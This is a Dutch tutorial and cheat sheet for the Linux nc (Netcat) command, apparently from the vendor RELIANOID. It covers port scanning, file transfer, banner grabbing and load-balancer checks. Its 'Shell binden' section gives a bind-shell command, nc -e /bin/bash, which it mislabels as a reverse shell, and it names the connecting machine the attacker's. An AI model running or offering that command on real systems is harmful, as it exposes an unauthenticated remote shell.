De Linux nc (Netcat) Command #
De Linux nc (Netcat) is een veelzijdig netwerkhulpprogramma dat gebruikt wordt voor netwerkcommunicatie, debuggen en testen. Het kan fungeren als een eenvoudige server of client en ondersteunt het lezen en schrijven van gegevens via TCP of UDP. Het wordt ook wel het "Zwitserse zakmes" van netwerken genoemd. nc wordt veel gebruikt voor taken zoals poortscannen, bestandsoverdracht en het testen van netwerkdiensten.
Sleutelgebruik en syntaxis van de nc commando #
De basissyntaxis van de nc commando is:
nc [OPTIONS] [HOST] [PORT]
- OPTIES: Vlaggen om het gedrag van
nc. - HOST: De doelhost voor de verbinding.
- PORT: Het doelpoortnummer.
nc Commando Cheatsheet Tabel #
| commando | Beschrijving |
nc -zv example.com 80 |
Test of poort 80 aan staat example.com is open (verbose-modus). |
nc -l 1234 |
Start een listener op poort 1234. |
nc example.com 80 |
Maak verbinding met poort 80 op example.com (bijvoorbeeld om HTTP-verzoeken te versturen). |
nc -u example.com 1234 |
Stuur gegevens naar UDP-poort 1234 op example.com. |
nc -l -p 8080 |
Start een server die luistert op poort 8080. |
echo "Hello" | nc example.com 1234 |
Verzend het bericht Hello naar example.com op poort 1234. |
Common Use Cases #
1. Poortscannen #
nc -zv example.com 20-25
Met deze opdracht worden poorten 20 tot en met 25 gescand example.com en geeft hun status weer.
2. Een eenvoudige chat opzetten #
Een eenvoudige chat opzetten tussen twee systemen:
Op het eerste systeem: #
nc -l -p 1234
Op het tweede systeem: #
nc HOSTNAME 1234
vervangen HOSTNAME met het IP-adres van het eerste systeem.
3. Bestandsoverdracht #
Bestanden overbrengen tussen twee systemen met behulp van nc:
Afzender: #
cat file.txt | nc -q 0 HOSTNAME 1234
Ontvanger: #
nc -l -p 1234 > file.txt
4. Bannergrabbing #
Service-informatie ophalen van een externe server:
nc example.com 80
Type HEAD / HTTP/1.0 en druk op Enter tweemaal om de HTTP-headers te bekijken.
Geavanceerd gebruik #
UDP-connectiviteit #
Test UDP-connectiviteit met een doel:
nc -u example.com 1234
Hiermee worden gegevens naar UDP-poort 1234 verzonden example.com.
Shell binden #
Maak een eenvoudige omgekeerde shell voor foutopsporing:
Op de externe machine: #
nc -l -p 4444 -e /bin/bash
Op de machine van de aanvaller: #
nc TARGET 4444
Netcat veilig gebruiken #
Voor extra beveiliging kunt u de cryptografische versie van nc (Bv ncat met SSL).
gebruik nc with RELIANOID Oplossingen #
In RELIANOIDde netwerkinfrastructuur van 's, nc kan verschillende diagnostische en operationele doeleinden dienen:
1. Test de connectiviteit van de load balancer #
nc -zv loadbalancer.realianoid.local 80
Controleer of de load balancer verkeer op poort 80 accepteert.
2. Backend-services bewaken #
Controleer snel de status van backendservers:
nc -zv backend1.realianoid.local 8080
Hiermee wordt gecontroleerd of de backendservice bereikbaar is op poort 8080.
3. Valideer proxyserver-doorsturing #
Test of de proxyserver het verkeer correct doorstuurt:
nc proxy.realianoid.local 443
4. Aangepaste protocollen debuggen #
Gebruik nc om interacties met aangepaste protocollen te debuggen of te simuleren in RELIANOID's omgeving.
nc -l -p 5555
Stel een listener in om protocolberichten te testen.
Samenvatting #
De nc (Netcat) is een onmisbare tool voor netwerkprofessionals. De mogelijkheid om poorten te scannen, bestanden over te dragen en connectiviteit te debuggen maakt het ideaal voor veelzijdige toepassingen. nc with RELIANOID infrastructuur zorgt voor robuuste netwerkprestaties en snelle probleemoplossing.